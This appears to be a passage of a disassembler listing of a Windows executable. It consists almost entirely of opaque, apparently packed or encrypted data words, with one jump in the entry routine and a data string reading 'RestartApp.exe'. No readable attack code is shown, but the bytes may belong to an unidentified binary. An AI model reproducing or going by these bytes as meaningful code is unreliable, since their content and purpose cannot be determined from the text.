		dd 7FA3FEB4h, 96335A00h, 7555F468h, 0D1F20082h,	0E85F7D56h
		dd 7E031A94h, 1157082Dh, 0C4B4B4F1h, 5567017Ah,	0FC79ED3Fh
		dd 8175600Ah, 0DD005F71h, 1D974D77h, 13092B51h,	1EEE71h
		dd 57F879DAh, 0D700613Fh, 76C56773h, 0FA835FBCh, 30397797h
		dd 4D086CE4h, 0C50088D5h, 0C8C9D6A9h, 8C3C34h, 0F29435AFh
		dd 0F75AA8DBh, 5F60A40Ch, 98973022h, 9086E00Bh,	3305384Bh
		dd 17879400h, 788FCFE8h, 0C81C6A01h, 90FCE91Ah,	5C2620h
		dd 66B9E16Dh, 0C314D72h, 34884C67h, 5CAB0FB0h, 0C4CA0E9Eh
		dd 0EB008422h, 47706ED2h, 6F3D8203h, 14A835Eh, 1A72BCB9h
		dd 809AC905h, 0F4FEEEC1h, 3AD5D38h, 0AE6A994Eh,	0FF91675Ah
		dd 0E318D0A4h, 602DB408h, 0E9E18010h, 682E7E09h, 0D44A3006h
		dd 1D61466Fh, 47EC828Fh, 60C5A822h, 431D013h, 40A6B1C0h
		dd 0B76786h, 42D3510Ah,	45717EA4h, 0C1366300h, 1A9B9553h
		dd 8879446Bh, 0F5068709h, 0B67A0A28h, 20600501h, 0D7CC1DA1h
		dd 0BB640083h, 0E4EE6607h, 2803E3C9h, 189E56ABh, 0B8B1002Ch
		dd 0BA5C997Eh, 751DCFE5h, 98500533h, 0E0F04D37h, 34AD79CCh
		dd 56F42601h, 4CFA1482h, 285F1DD8h, 847209h, 5A766C81h
		dd 0CED1F84Dh, 0E60520C0h, 74CDC808h, 69E50F51h, 0CF617030h
		dd 30BE2044h, 0D7005601h
		dd 0E6854DCDh, 775FF5F8h, 6CE1CC90h, 8C65680h, 0A1969A7h
		dd 662BE3D6h, 0B6193EE4h, 142DD07Dh, 25342EC0h,	0D6C93DB2h
		dd 0C806AE06h, 6030D193h, 5E622929h, 193A0043h,	0A0AE7AB9h
		dd 0F3EA95EAh, 0FB6C3E00h, 0FF610BBCh, 8C31D42Ah, 60CF0A18h
		dd 0C500443Ah, 8DFA77BDh, 0CF86ED7h, 95E542ABh,	0C6005C69h
		dd 0C24964EBh, 0AC59Dh,	51219394h, 4E03E575h, 709EFA01h
		dd 476E0F6Fh, 0AD4AF180h, 9FC21FA7h, 0CC065712h, 70004425h
		dd 5933666Fh, 50CF00D2h, 3516F7F8h, 0C7520656h,	1ED606D8h
		dd 351626Eh, 80FA05F1h,	0B0D0C51Dh, 0D9184AF7h,	0EA217A6Fh
		dd 0F96B0049h, 0F867DB58h, 0D70E1F2Dh, 6F3F605Ah, 9EEC0078h
		dd 0A3F7B6DCh, 4839E6C3h, 931C39B3h, 0DA96047Ah, 0D0B48730h
		dd 98A1E48Ch, 0B9F87D04h, 1AC09C65h, 1D18661Dh,	2841CBh
		dd 3633F9C8h, 0CD600658h, 309B4D51h, 84920Eh, 841F9CAh
		dd 0B1AB0252h, 12C0BC4Ch, 644A1025h, 0E201446Fh, 0CFDC4DD4h
		dd 15F21D8h, 7494C9AEh,	20FDFCE5h, 0B4045278h, 1D7E71C4h
		dd 0FAEE5493h, 4F1C6188h, 8180AD61h, 0D3126B13h, 9101CBF1h
		dd 61588F5Fh, 0C9D4EE67h, 15B906B3h, 3183E6C3h,	40C70501h
		dd 0D19B0F07h, 198081DDh, 75FC83CDh, 1011D7A5h,	0F90084E7h
		dd 80A142DEh, 0D6128683h, 4C08E107h, 275F8868h,	0E0E26180h
		dd 3BB24C21h, 4F0E58CFh, 0C800C52Bh, 6F6639A8h,	7E807D54h
		dd 6C077590h, 3293782Ah, 0A0A44AE6h, 0E989C4F6h, 0CC113040h
		dd 7FAD0036h, 0D1F6CD5Ch, 1400F763h, 0D48591C6h, 31B8D015h
		dd 0B3960A95h, 0E3A6409Dh, 0D2F3597Bh, 0A132D490h, 5404F404h
		dd 7C80689Ah, 1846B6h, 0B285F71Ah, 0D6C83AE8h, 0F4FC4C00h
		dd 0BBC47C02h, 25623086h, 0E6B701E1h, 0E4880D00h, 5A474ABCh
		dd 4CCD00FBh, 0BACF2382h, 0D4001499h, 0B1AA65B4h, 908E3D1Ah
		dd 489F002Ch, 8F7EABA7h, 0D70494EDh, 0AC035960h, 42B610C0h
		dd 24EB329Eh, 60C93169h, 0EDF6C639h, 2A00CC16h,	50CEDD80h
		dd 0D7D600ACh, 0A4B64C1Dh, 612FE2Ah, 0B83586E0h, 0A1284500h
		dd 0A26166h, 2AE3C827h,	7B1CC189h, 0E90F0498h, 0E81205Ah
		dd 0E20621FFh, 40A636A5h, 78F960A0h, 0BE00D0C9h, 0DEF05CA3h
		dd 0B50453h, 2CEE1306h,	0D6F6F136h, 0B178CC30h,	2666B83h
		dd 69934F0Dh, 8C4B10A4h, 0C4A045DAh, 1D9FB12Bh,	0FAF3731Ch
		dd 8017B983h, 7282C036h, 5A9819DBh, 85B0D0EEh, 8A46A91h
		dd 817D2408h, 0D6902092h, 82A3C866h, 0E9E8BC00h, 78CDAC58h
		dd 59691DC4h, 61CCC0B0h, 0C992AD1Bh, 1AF4560Bh,	28A381A9h
		dd 0B8502360h, 0B167ACh, 0EEBCEAA8h, 17CEE094h,	0DBBED800h
		dd 262C120Dh, 0E818006Fh, 78E56AB1h, 6B44E47Bh,	5BD50F08h
		dd 0D260F966h, 9C9949A5h, 0F875FEE0h, 0C41A1B02h, 40C63EBDh
		dd 39BE330h, 0BE9064B8h, 479214B2h, 6AC9B963h, 0A1462B3h
		dd 0E899E105h, 0E44BA140h, 18AB7FE3h, 0B926179Eh, 8CA80130h
		dd 933C2F6Ch, 0B3901FA8h, 0A1BE310Eh, 0FAF0B4AAh, 786D5460h
		dd 2C916Ah, 6454CDD3h, 58F01683h, 620C820Ch, 0C4592Bh
		dd 0FEEFBC37h, 2E14EDA8h, 329E5A00h, 198D2ECh, 3149C6D5h
		dd 0FE2681FAh, 92015C62h, 42550108h, 216BEF4h, 0B2EEB7Ch
		dd 9AE09C93h, 7D03B106h, 0FA3D811Ah, 2088A55Fh,	215805CCh
		dd 80C86323h, 0B2B922C0h, 329FD400h, 1AE68DFBh,	0BBE9009Bh
		dd 28B51215h, 0D948D2F3h, 0BFF9018Ch, 0C10F0390h, 12C81092h
		dd 0D6602068h, 2A0C31BCh, 20DE0CCAh, 0E3731EF3h, 0C106D843h
		dd 483F992Eh, 1EDC806Ah, 6225D3BDh, 124A00C6h, 0B27C5845h
		dd 81009923h, 54A0E480h, 0F5E7072h, 0E31739B6h,	23D62F00h
		dd 0DA1813F6h, 49590231h, 0E5960082h, 0C17270A6h, 0ED01E93Dh
		dd 0A3AFC97Ah, 68226CC7h, 49FFCB00h, 0BA18D17Bh, 88D81200h
		dd 0AD75C91Bh, 0AF99009Dh, 7BD393A1h, 9500BBE1h, 0BD4CA7DDh
		dd 701B330Bh, 0E7B13DB0h, 0F97FE698h, 0F1004F58h, 2798163Ch
		dd 17A92CC6h, 20621582h, 418D0F24h, 0DA1E9500h,	0F0FAF648h
		dd 7C70B77h, 2F808317h,	3B2EB24Ah, 0A802FD29h, 0CC595D00h
		dd 120A3F32h, 882CD905h, 0BC00F304h, 1184701Ah,	0DF73ADh
		dd 1819F110h, 24CF2720h, 9B172206h, 723E3E6Bh, 599660D6h
		dd 0B1D44C59h, 0BAC6B807h, 0CC00EC35h, 13D52287h, 49B9AD8h
		dd 885F7180h, 61004754h, 0C0983DF1h, 10D1BABh, 4113B101h
		dd 60FE6F8Ah, 5CA0C700h, 46009718h, 0C9479490h,	182144CDh
		dd 216EE40Ah, 891CCEC6h, 27402B0Bh, 3DBAA5A1h, 0B89D0015h
		dd 0CA7D02AAh, 17018E1Ah, 9B7C5CC6h, 60226C7Bh,	0DBB23B00h
		dd 5F55428Fh, 0ED37BE02h, 660F82ECh, 0F17AA8h, 0CB6940EAh
		dd 6663169Eh, 0C6523A00h, 36CA92ACh, 0B757904h,	5FBEDC83h
		dd 0EFE1E090h, 84625D00h, 2B537885h, 0FE7F2464h, 16381C94h
		dd 3CB0051Bh, 5D2C80EBh, 0B88063h, 0BDD4E312h, 0A64DB448h
		dd 361134h, 1869DC58h, 4C0E5DC6h, 3F808862h, 0FF90B729h
		dd 4A6C2F0Fh, 95FD20E8h, 7055DC34h, 0BB6300BDh,	45423630h
		dd 0DE0A1EDDh, 0ACF574E5h, 75A95A07h, 8A408184h, 8B67D5C5h
		dd 7E9CC801h, 0B55FAE6Ah, 0A0174423h, 3D59008Dh, 0F213DA28h
		dd 0CE746F01h, 4A643E80h, 4FD9E440h, 0C1F4735Fh, 0CCD06CC9h
		dd 0D3C2403h, 8A99FF00h, 277C92BCh, 808839A0h, 0E30ED053h
		dd 4A408905h, 0EA9A1C2Bh, 8256FB00h, 5CABE43Dh,	95171D6Ch
		dd 40A0E43Fh, 435D6DD1h, 0EEE9031Eh, 856FD249h,	0BC802C60h
		dd 0B0476130h, 0B9E400FCh, 0A046936Eh, 3BECF535h, 4314F67Ch
		dd 81BC8E5Fh, 8D409FDBh, 3D5AC44Ch, 11E06CC3h, 8DA3EFB3h
		dd 34FF5Ch, 0DE7A24A5h,	0A0BD10B5h, 5C263AF4h, 0C75500Ch
		dd 85CC0533h, 0CB0017A9h, 0B651E508h, 2A6A2BB4h, 0B98C05DFh
		dd 2C1000D0h, 0EA1558D4h, 783A10B8h, 0B415FB30h, 2C4285Fh
		dd 83F1579Dh, 85BBE041h, 0BB900906h, 608F35D7h,	14C4B40Ah
		dd 5A038045h, 76E95F3Dh, 69E46118h, 28C91h, 3F96F066h
		dd 0F4A5EF5Ah, 45D33B02h, 4024A3E3h, 48BD4400h,	0B3878C62h
		dd 3AEB1008h, 5400EE2Fh, 0CDAF6C3Ch, 0DF9DD9h, 6A8C0CCCh
		dd 8E7FABF9h, 8D4E5FE8h, 74047C57h, 24B5CD06h, 446F9EE0h
		dd 0A207E045h, 0DB82D7E5h, 5F8FA341h, 0C907E872h, 6063E301h
		dd 3F9233B1h, 7ADB4713h, 25EC09h, 49E2420Ch, 80349130h
		dd 7D9804A0h, 93003F01h, 0C5096F73h, 2836A2h, 72B7D8E4h
		dd 0B55DBE0Fh, 9FCB4709h, 5E10E9E9h, 0E44C7863h, 8DF83622h
		dd 0D4194860h, 0A879973h, 6C56AA85h, 33310064h,	1DE38CC5h
		dd 187A0A00h, 0B2B11EFAh, 58E8B0F4h, 0C92C8460h, 0A18286Ch
		dd 6C93CA07h, 0AF7002Ch, 5FBD5152h, 9C0020B9h, 0C27E13A1h
		dd 59850017h, 694EC812h, 277A0AAEh, 636E3A1Bh, 0CE0CB041h
		dd 9C5000E2h, 81F73314h, 280B5EBAh, 0D67A44h, 0AF7CAB82h
		dd 0EC1C0F84h, 6400E174h, 0C47A50CCh, 82946C04h, 0B08805DAh
		dd 0EA0B007Dh, 0DEDDE13Ah, 4717D271h, 11115CF4h, 0BEBD007Ch
		dd 1399179Fh, 67552650h, 95BA3A58h, 77289B02h, 24CC16D3h
		dd 80A239h, 429E4B23h, 0AA58E8h, 6FB4350Fh, 9C3CCBD1h
		dd 0FD83513Bh, 30676800h, 28CFEA8Ch, 9E6C30E3h,	925D5379h
		dd 5F563A07h, 7C2083EBh, 26D95C9Fh, 74F7A2h, 98C34F4Dh
		dd 97802D03h, 0E14003A1h, 616E3D95h, 571B4900h,	15BE6D99h
		dd 0D9410016h, 0CFC6CEF8h
		dd 0D1026C46h, 8D59711Ch, 3EF866F1h, 99005240h,	271F44E4h
		dd 0F000718Fh, 66B890F7h, 277DE5Eh, 0A9F25C18h,	3461C99Bh
		dd 69B61148h, 24B57EC8h, 34D8F7EDh, 705C8360h, 0F0267FA3h
		dd 0F81278CEh, 7C0F1400h, 0F005BFACh, 4C744CD0h, 4C80D121h
		dd 922DFB18h, 8A8C3F1Dh, 7A88F5BEh, 802C265h, 7A6C6F33h
		dd 0EA7800ECh, 0C59DBB5Eh, 0C0E1E0E3h, 84019F50h, 40DFB094h
		dd 0E4C457FFh, 75D8A86Dh, 0BA2600C3h, 0C86F7E02h, 0A5C8FCBh
		dd 71AE12C7h, 0B856680Ah, 0FC647802h, 0EA68C016h, 6A6D8865h
		dd 6C4FA44Ah, 2D918D6h,	5B8D7123h, 2A1EC05h, 1FC9176Ah
		dd 2F0D2E7h, 0ADAF74CCh, 99C0941Ah, 0FA76773Ah,	0C4425300h
		dd 0A50440CEh, 47D40083h, 0AF826DB2h, 0DC58C624h, 5E0C0144h
		dd 0E1328FB1h, 8422A03Ch, 0AF893D01h, 6F29A250h, 5480AC3Ch
		dd 11A1E8E1h, 7D881C1Fh, 4BA93BC0h, 18565D6h, 0BC71984Fh
		dd 0C901D18Ah, 5E403088h, 0BB6D405h, 0A22D9Ch, 1792890Fh
		dd 84AA003Eh, 38638C10h, 16587200h, 59B6DFCFh, 5698C92Eh
		dd 0A2F79084h, 0F4150034h, 0D1EBB192h, 0E0F275A6h, 0A96A00CBh
		dd 61B64BFEh, 69C43804h, 34F242AAh, 22500077h, 19FB6B78h
		dd 0AB0C6CF9h, 21049E52h, 39F54897h, 0EA11744Ch, 4E42E4Fh
		dd 84878040h, 61590B45h, 9C00CDD6h, 90B4E95Eh, 0A0F0B7FEh
		dd 0CFECBA0Bh, 18648759h, 0E31FAFE0h, 239802A1h, 4C0531F7h
		dd 28AEDC00h, 0D2E68Eh,	0B8BCD496h, 0CCC0CF8Bh,	1859E224h
		dd 0E7E02700h, 20AC6A6Fh, 0C80B4D6Bh, 8075DEB5h, 0D468C798h
		dd 4CFA1CB7h, 0AF9D00BCh, 2BBBF04Dh, 0A08FD337h, 0A0AA2CF3h
		dd 1D02161h, 0EE69B824h, 0C0D6C9E1h, 0B109050Bh, 90F85E6Fh
		dd 9169B7ECh, 9FD58B48h, 437AF424h, 98CB5358h, 7DE6D2Ah
		dd 9D4A31CEh, 0DCB37078h, 9B00F1E1h, 0D507825Fh, 0C07C6E0Fh
		dd 1AC88F39h, 0F7FAAA62h, 0F985B31Ch, 0E208ECC0h, 0F679D117h
		dd 94BF09F2h, 84005974h, 6824CFDh, 25A7083Ah, 6C4410F3h
		dd 0B0F100B4h, 0DF57FB29h, 310E0148h, 20F790CFh, 0E54E5B19h
		dd 0D7F20AAFh, 0A6C8A3DAh, 16D400B4h, 0AE1FF1Ah, 0D46FAC26h
		dd 0F0387EC0h, 0E9460912h, 8810E42Eh, 0E01B523h, 4FA20F79h
		dd 0B9177FE5h, 0EACB5A80h, 0D700D815h, 0D6B87407h, 13B21A55h
		dd 8801F95Ah, 810057F8h, 4CDE1DB7h, 3A2DCD9Dh, 0BF098382h
		dd 0F5D992Bh, 17D981D2h, 0E9805F62h, 5122B9D5h,	0DF4C24FAh
		dd 3C017654h, 98D047AFh, 298BDB06h, 6496F75Eh, 5059510Eh
		dd 0A8468025h, 35D1E5h,	8D3AA281h, 0B6F77FD5h, 481C6426h
		dd 844AF808h, 0B4309D15h, 2760B288h, 0EC74B706h, 77EA00F6h
		dd 78A6BA31h, 0C272892Ah, 0FA325D1Ch, 55B98C07h, 0FB79007Bh
		dd 0E9C1866h, 0B4E4BB38h, 0B6FA81FFh, 72622256h, 576C0ED8h
		dd 82B54046h, 66D3E3h, 4A3F8637h, 0C089A392h, 80CC6F4Ch
		dd 84174FCAh, 5AE00E6h,	5A942A70h, 271E3718h, 60C065D8h
		dd 0FC95B9F4h, 0ECA41759h, 634C0871h, 3097E496h, 0D84018B0h
		dd 407CB664h, 3C33E361h, 4234B11Dh, 8144B6C0h, 0EAE51F26h
		dd 0A014A0CEh, 0E1F502F4h, 1C3F4562h, 0CF8B7479h, 30746001h
		dd 9687D96h, 5FFB48B4h,	5D07C93h, 0A63CB6EAh, 16D08EB9h
		dd 3FBD0050h, 19F98D7h,	20093BBCh, 80446FDBh, 0D458DCB9h
		dd 1A064h, 5927149Dh, 8F93BE5Ah, 0C74A05E0h, 5BE3A421h
		dd 5EC4307Ch, 0E564C8F5h, 928344h, 0CBA39493h, 298C7D4h
		dd 100E4B9h, 5F441CDCh,	501CA2F7h, 476C5EC4h, 2E284A6Ch
		dd 0F0904760h, 7B00A815h, 4289B1C2h, 60D556h, 18764830h
		dd 9371ABD3h, 64164498h, 3C17CA1Dh, 9AAFC890h, 694F0022h
		dd 0CEDFC8D1h, 0EE1DD947h, 82406B58h, 41B66C14h, 982900CCh
		dd 0B4C813E6h, 0C15143C6h, 3A9872BCh, 0E5327834h, 725FC9A6h
		dd 830F0304h, 1139467Dh, 402D93E1h, 0EE21AFADh,	0CEED6E04h
		dd 0F0C9E7AEh, 40EFED8h, 0CA0BEFE4h, 0F440C0C1h, 6300BF20h
		dd 1748E3C9h, 14CFB5B1h, 0B891DE49h, 444A7900h,	30D97C7Dh
		dd 6B65F17h, 0B2288Ch, 8CDB5262h, 6FFD46E3h, 0D0807B55h
		dd 96014B81h, 0ED86336Ch, 0FFF8C452h, 0CB380A66h, 18EA187h
		dd 14FE6DD7h, 40EC726Bh, 0DB000DFEh, 73B5CFE0h,	4A818Ch
		dd 0ACDC267Fh, 34C73DF4h, 9B415104h, 0D8B4825Eh, 0F2A309D4h
		dd 4C005C4Ah, 0B269C273h, 8109F499h, 57D00223h,	43A85424h
		dd 0D7EB4BDBh, 23AFDAD8h, 5D4C708h, 0E04D0067h,	0CB30E48Ch
		dd 0C2F6400h, 2CBF9FC6h, 9E340B01h, 7C81F910h, 28B16CAFh
		dd 0ABA4804Ch, 3EB7BBFh, 1730C8D4h, 0EEB0A33Bh,	9FF4FE18h
		dd 806C034Ch, 0C0D70B96h, 2CC82CE7h, 0E02207CFh, 0BCEBE07Eh
		dd 0FD0F33FCh, 402180E1h, 27DCD37Ah, 0ECBE300Ch, 0A15A7431h
		dd 8ED44B0Eh, 521EC0E9h, 745D38Bh, 99581AA5h, 0BC137093h
		dd 8D4CFBBDh, 35F2173Dh, 0CA759A00h, 0C2D5964h,	3BDF6F5h
		dd 6738C808h, 0A6A20079h, 3676E775h, 2FE11C23h,	2C20F087h
		dd 30FF3FFh, 802D6EE0h,	294F4C08h, 0ABE24464h, 24019172h
		dd 57DF93AAh, 1CBFE55h,	0BF4E3069h, 4084A167h, 87EC2C8Ah
		dd 25D0CA03h, 810E28DAh, 0E18CED4Ch, 10395FFFh,	0DFDB1200h
		dd 91CE7637h, 0C7700008h, 0D382A879h, 0E004146h, 839E61C8h
		dd 7CE968Ah, 0A4047606h, 0D4886020h, 6450C75Ch,	0AC515744h
		dd 0C95EC858h, 20270DFh, 90F39645h, 0C66578h, 0D1AA8FF9h
		dd 22AEAC1Ah, 0D2AB3900h, 30E0CBB4h, 0ADC4004Bh, 6F4F14C0h
		dd 0D1023D0Eh, 0BEA76AB7h, 5AACA018h, 0F8980132h, 1391E871h
		dd 0D9227Dh, 0BD2DDB0Ah, 8D7DA65Eh, 0D405F319h,	6510F6A0h
		dd 2460BE68h, 0D3442A49h, 8BF403CEh, 0DD85F1FDh, 0CDB72900h
		dd 879C8163h, 0DAFB0356h, 0F2825817h, 0EBBD2115h, 0E97D00ACh
		dd 9473C1A1h, 62560063h, 519803A8h, 9B00C91Bh, 0B8082E95h
		dd 30FFD864h, 0AD39E876h, 0AF75AC1Bh, 58F02303h, 0A289102Eh
		dd 63C18683h, 783E01BAh, 3CBE5509h, 0F44D212Eh,	0DB03B476h
		dd 85FB65CAh, 179100C6h, 4E7D9CF2h, 0CC00BEF1h,	0FEBA10DEh
		dd 3FF480Dh, 335E7E2Eh,	3179F363h, 16F56400h, 0ECB87F8Fh
		dd 3790923h, 0A5C1CACEh, 0DC348005h, 8731094Bh,	0A839C0C5h
		dd 1C30A55Bh, 0E04DD5Ch, 21598D82h, 0CDCE8FE4h,	54BEA8CCh
		dd 12FB0FFh, 0A10157C5h, 0C45177ECh, 0EB0008A2h, 5887B425h
		dd 49FE8AB8h, 742454h, 1251A810h, 0B388637Dh, 616D7B00h
		dd 76A44D0Eh, 44855079h, 0C20F0098h, 69941EAFh,	0D40118ECh
		dd 0E11D9C4Dh, 0D0CC8EFAh, 51CE001Ah, 0B5AF28A0h, 0A73757BEh
		dd 0E47541C7h, 2DD2C440h, 20DC1Eh, 0D1CA6B06h, 2B760758h
		dd 1CC3450h, 68BB49h, 0C742ADD6h, 0FC4369h, 9F821AC0h
		dd 27B71B96h, 0A8589112h, 36907427h, 3010B353h,	0B9E157FEh
		dd 0A301F33Ah, 8EA6E9DBh, 3DCCE26h, 0A5820007h,	9ED94A74h
		dd 560DD4AFh, 79CA11C7h, 88A09440h, 63FF12E9h, 0FEB0460Fh
		dd 0CA1D5952h, 82F0692Fh, 0E670716Ch, 1821F4FAh, 3165C83Fh
		dd 86482DF6h, 47C8018h,	213EB7h, 944BA57Fh, 6743FE39h
		dd 5B5FF700h, 0FF8610DAh, 234E3E90h, 49124A9Bh,	790058D3h
		dd 0C5E36D61h, 0E23717h, 0D170440Dh, 188C9840h,	3D1C2B4Ch
		dd 858A8CB8h, 700C79DFh, 137DB8E1h, 1606DC5h, 62FFCF3Ch
		dd 91C850DEh, 20922BE2h, 264C0601h, 0E3C078DFh,	3F032180h
		dd 1177E112h, 6B18A600h
		dd 76887D20h, 6365099Bh, 0A4803573h, 0AF821B2Bh, 0BA148377h
		dd 5CFEEFh, 23E20BDFh, 4A9E86h,	0F4D66966h, 48966244h
		dd 72DF9F01h, 283AED2Eh, 0B8AD8981h, 0F035468Eh, 0B2003171h
		dd 7248EA6Eh, 0F69976B4h, 12E53B84h, 1FA75454h,	0C4DCAE9Eh
		dd 80B0D058h, 0BB627CECh, 0FC67D319h, 301401E8h, 0AA991990h
		dd 915F4200h, 2775E5A5h, 4C72F0B5h, 67040C8Bh, 0C00349C1h
		dd 0BDDCB6D0h, 52096491h, 0C30755D4h, 0C5EA8007h, 0C77AF33Fh
		dd 57F96063h, 2C7126AEh, 79460BE4h, 2E10FC00h, 89031976h
		dd 0C1AEE005h, 8B291D1Bh, 3B808377h, 50C8CEAFh,	0E4005502h
		dd 167C1F72h, 0A9915D4h, 9B8FE29h, 96A200B8h, 6E417B31h
		dd 0C8104800h, 0E1D39E79h, 0EA5C0761h, 7002D04Bh, 0AE4F577Bh
		dd 0AC26A426h, 0BE11F111h, 570100E7h, 5F48B0BDh, 33930034h
		dd 7D3BCDDAh, 2C028E98h, 10D21B9Fh, 0A59040DDh,	81500DEh
		dd 0FFAB48B7h, 49C0FC64h, 777BFB76h, 86142429h,	473140D0h
		dd 44182EDDh, 0D0C022E7h, 0CB430145h, 0BE18E15Fh, 0F7782490h
		dd 2EDCA501h, 0F2C6ECFDh, 1CF381D4h, 1F7804D5h,	3069B576h
		dd 0B39DAB30h, 97C18F03h, 0B0ADD438h, 16AA8516h, 30013DA6h
		dd 25C11740h, 0FF9F7101h, 78F2933Bh, 20E47E8h, 0D975D076h
		dd 14C08288h, 65855B6h,	5D7D18CCh, 0C329C069h, 0E3378049h
		dd 88D5659Bh, 4A005BF8h, 0BFA80B6Eh, 113E999h, 0BD11C6BAh
		dd 0F06972ADh, 5A3CD435h, 491CB0DBh, 0F52BCC5h,	992C59E1h
		dd 0E776F3C0h, 8F0112B9h, 0A1ACC6C3h, 6040C15Ch, 14182AEh
		dd 0B5A41984h, 50E06427h, 0A8BEAFB0h, 0E37B9300h, 76577025h
		dd 75FECA3h, 0B3ADC712h, 394BB0F4h, 84914790h, 0E25EFF06h
		dd 0C27501C1h, 57BA213Bh, 17E062AAh, 430024Bh, 7934489Ch
		dd 0DA3B0014h, 0A00F7847h, 811F8444h, 49C2AD9Dh, 0E485A6F5h
		dd 0FC230750h, 12521701h, 197CCB0h, 0DBFFFFh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53E281:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_5415EA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0FCFCh
		dd 8001h, 0A00F0000h, 0A0h, 0
		dd 0FFFF0000h, 0FFFFh, 0
		dd 0FFE00000h, 12h, 0
		dd 0EC1E0000h, 0FFABh, 0E77D0000h, 77DF0058h, 9F70058h
		dd 0A0h, 3 dup(0)
		dd 69DD0000h, 0A0h, 363D0000h, 58h, 3 dup(0)
		dd 31540000h, 0A1h, 98CD0000h, 85DD0057h, 31000A0h, 7 dup(0)
		dd 8B820000h, 77E7h, 6 dup(0)
		dd 82200000h, 4	dup(0)
		dd 0DAE9h, 8D8D0000h, 8AB6h, 0
		dd 69DD0000h, 0A0h, 500000h, 0FEAFh, 2 dup(0)
		dd 0A6E90000h, 630177EBh, 59h, 11h dup(0)
		dd 6CB20000h, 58h, 2 dup(0)
		dd 83780000h, 8ECBh, 0
		dd 4A030000h, 8018h, 3 dup(0)
		dd 0AC0000h, 8 dup(0)
		dd 36360000h, 3636h, 9 dup(0)
		dd 17B20000h, 58h, 3 dup(0)
		dd 8D8D0000h, 2D8Ah, 0
		dd 0D0000000h, 256h, 4 dup(0)
		dd 59F00000h, 77DDh, 0FF540000h, 2E0F0012h, 30477F5h, 7FFEh
		dd 2 dup(0)
		dd 87F20000h, 6077EBh, 70C40000h, 156800A0h, 343000A1h
		dd 23312Dh, 53h, 0Eh dup(0)
		dd 0AB4C0000h, 54h, 0D4AF0000h,	56h, 0Fh dup(0)
		dd 6520000h, 0FC120054h, 0F17Ah, 4 dup(0)
		dd 4A030000h, 8018h, 2 dup(0)
		dd 4A030000h, 8018h, 6 dup(0)
		dd 9F30000h, 2BA1h, 0
		dd 0FFB00000h, 220h, 7 dup(0)
		dd 70000000h, 3, 3 dup(0)
		dd 21210000h, 2121h, 6 dup(0)
		dd 0E490000h, 9C370000h, 0A0h, 4 dup(0)
		dd 46650000h, 57h, 5 dup(0)
		dd 4E8D0000h, 0C96A8AB6h, 0D3CE77D4h, 4869h, 3 dup(0)
		dd 489B00AEh, 58h, 2 dup(0)
		dd 0C8230000h, 8002h, 2	dup(0)
		dd 20A70000h, 92E60059h, 0FFC43410h, 12h, 4 dup(0)
		dd 37DE0000h, 77E7h, 85F10000h,	57h, 0Dh dup(0)
		dd 31450000h, 39E200A0h, 7F2B8C0Bh, 1D7577F5h, 46D6h, 6D990000h
		dd 5Ah,	2 dup(0)
		dd 0AD930000h, 5Ah, 0A5EA0000h,	8A0Fh, 8 dup(0)
		dd 0F1F40040h, 0D62Bh, 5 dup(0)
		dd 51B70000h, 275Ah, 40000h, 3040000h, 2 dup(0)
		dd 4A030000h, 8018h, 0
		dd 2CD00000h, 5Bh, 3 dup(0)
		dd 0EDAC0000h, 0FFFFh, 0
		dd 0CD0E0000h, 5Ah, 5 dup(0)
		dd 58F80000h, 52Fh, 2 dup(0)
		dd 303D0000h, 5Ah, 3 dup(0)
		dd 0E0000000h, 70D004Dh, 2082h,	155C0000h, 0A1h, 6 dup(0)
		dd 40020000h, 84100000h, 58h, 5	dup(0)
		dd 6F170000h, 5Bh, 2 dup(0)
		dd 0AC0000h, 2028FFEDh,	51B78608h, 275Ah, 94990000h, 0A0h
		dd 5 dup(0)
		dd 69170000h, 5Ah, 2 dup(0)
		dd 12ED0000h, 58h, 12540000h, 77F5h, 0
		dd 0FFFE0000h, 57h, 77DDh, 2 dup(0)
		dd 7C460000h, 4113h, 140000h, 0Eh, 0
		dd 20000000h, 3	dup(0)
		dd 0FB810000h, 0C96A004Ah, 0C58177D4h, 53A7h, 6	dup(0)
		dd 0F2BD0000h, 0ABF0057h, 0E84E0054h, 4F92FFA7h, 57h, 6	dup(0)
		dd 1B370000h, 0FFA9h, 0
		dd 251D0000h, 59h, 5 dup(0)
		dd 0CC740000h, 57h, 3 dup(0)
		dd 0C3810000h, 0F4F60059h, 53h,	7 dup(0)
		dd 0C0000h, 241h, 2 dup(0)
		dd 54B40000h, 0FFABh, 2	dup(0)
		dd 0E4C90000h, 94D60056h, 0FF50h, 65520000h, 72617473h
		dd 70704174h, 6578652Eh, 0A9A0000h, 0D554009Fh,	9Fh, 0A00F0000h
		dd 5C00A0h, 0FFEDh, 10h	dup(0)
		dd 0FA3D0000h, 9F48h, 8BFF0000h, 449Ah,	0
		dd 49E0000h, 0FFFFh, 0Eh dup(0)
		dd 272F0000h, 7C9Eh, 7 dup(0)
		dd 6D990000h, 5Ah, 10000h, 20000h, 3 dup(0)
		dd 77270000h, 0FFA5h, 0F2A20000h, 7DD0h, 8 dup(0)
		dd 75330000h, 57h, 363C0000h, 58h, 3 dup(0)
		dd 8BFF0000h, 449Ah, 7 dup(0)
		dd 91630000h, 78Eh, 0
		dd 0AC5E0000h, 77E7h, 6	dup(0)
		dd 2710025Ch, 58h, 0
		dd 0CA960000h, 0FFA7h, 0
		dd 6D700000h, 64290000h, 5Ah, 7C0000h, 80A30000h, 0CDA6h
		dd 6 dup(0)
		dd 6B4A0000h, 0BABAh, 3	dup(0)
		dd 10000h, 230000h, 8A0054h, 7 dup(0)
		dd 6ACD0000h, 7DFDh, 30DF0000h,	0A9C5h,	0
		dd 0A00000h, 0
		dd 0A6FF0000h, 356ABD96h, 58h, 0FCFC0000h, 189A8001h, 30477DDh
		dd 7FFEh, 2 dup(0)
		dd 10000h, 5 dup(0)
		dd 2C130000h, 76D5h, 2 dup(0)
		dd 25Ah, 0E6E80000h, 10000h, 0FFDD0000h, 0A0h, 3 dup(0)
		dd 0FFA40000h, 12h, 2Ch	dup(0)
		dd 0A7980000h, 0A9B2h, 3 dup(0)
		dd 10000000h, 4	dup(0)
		dd 6F00000h, 4CCh, 0
		dd 3040000h, 7FFEh, 0
		dd 9E980000h, 0A1FEFFFFh, 0B0h,	2 dup(0)
		dd 3CA50000h, 0A8B1h, 23D70000h, 77DDh,	5 dup(0)
		dd 9Fh,	0
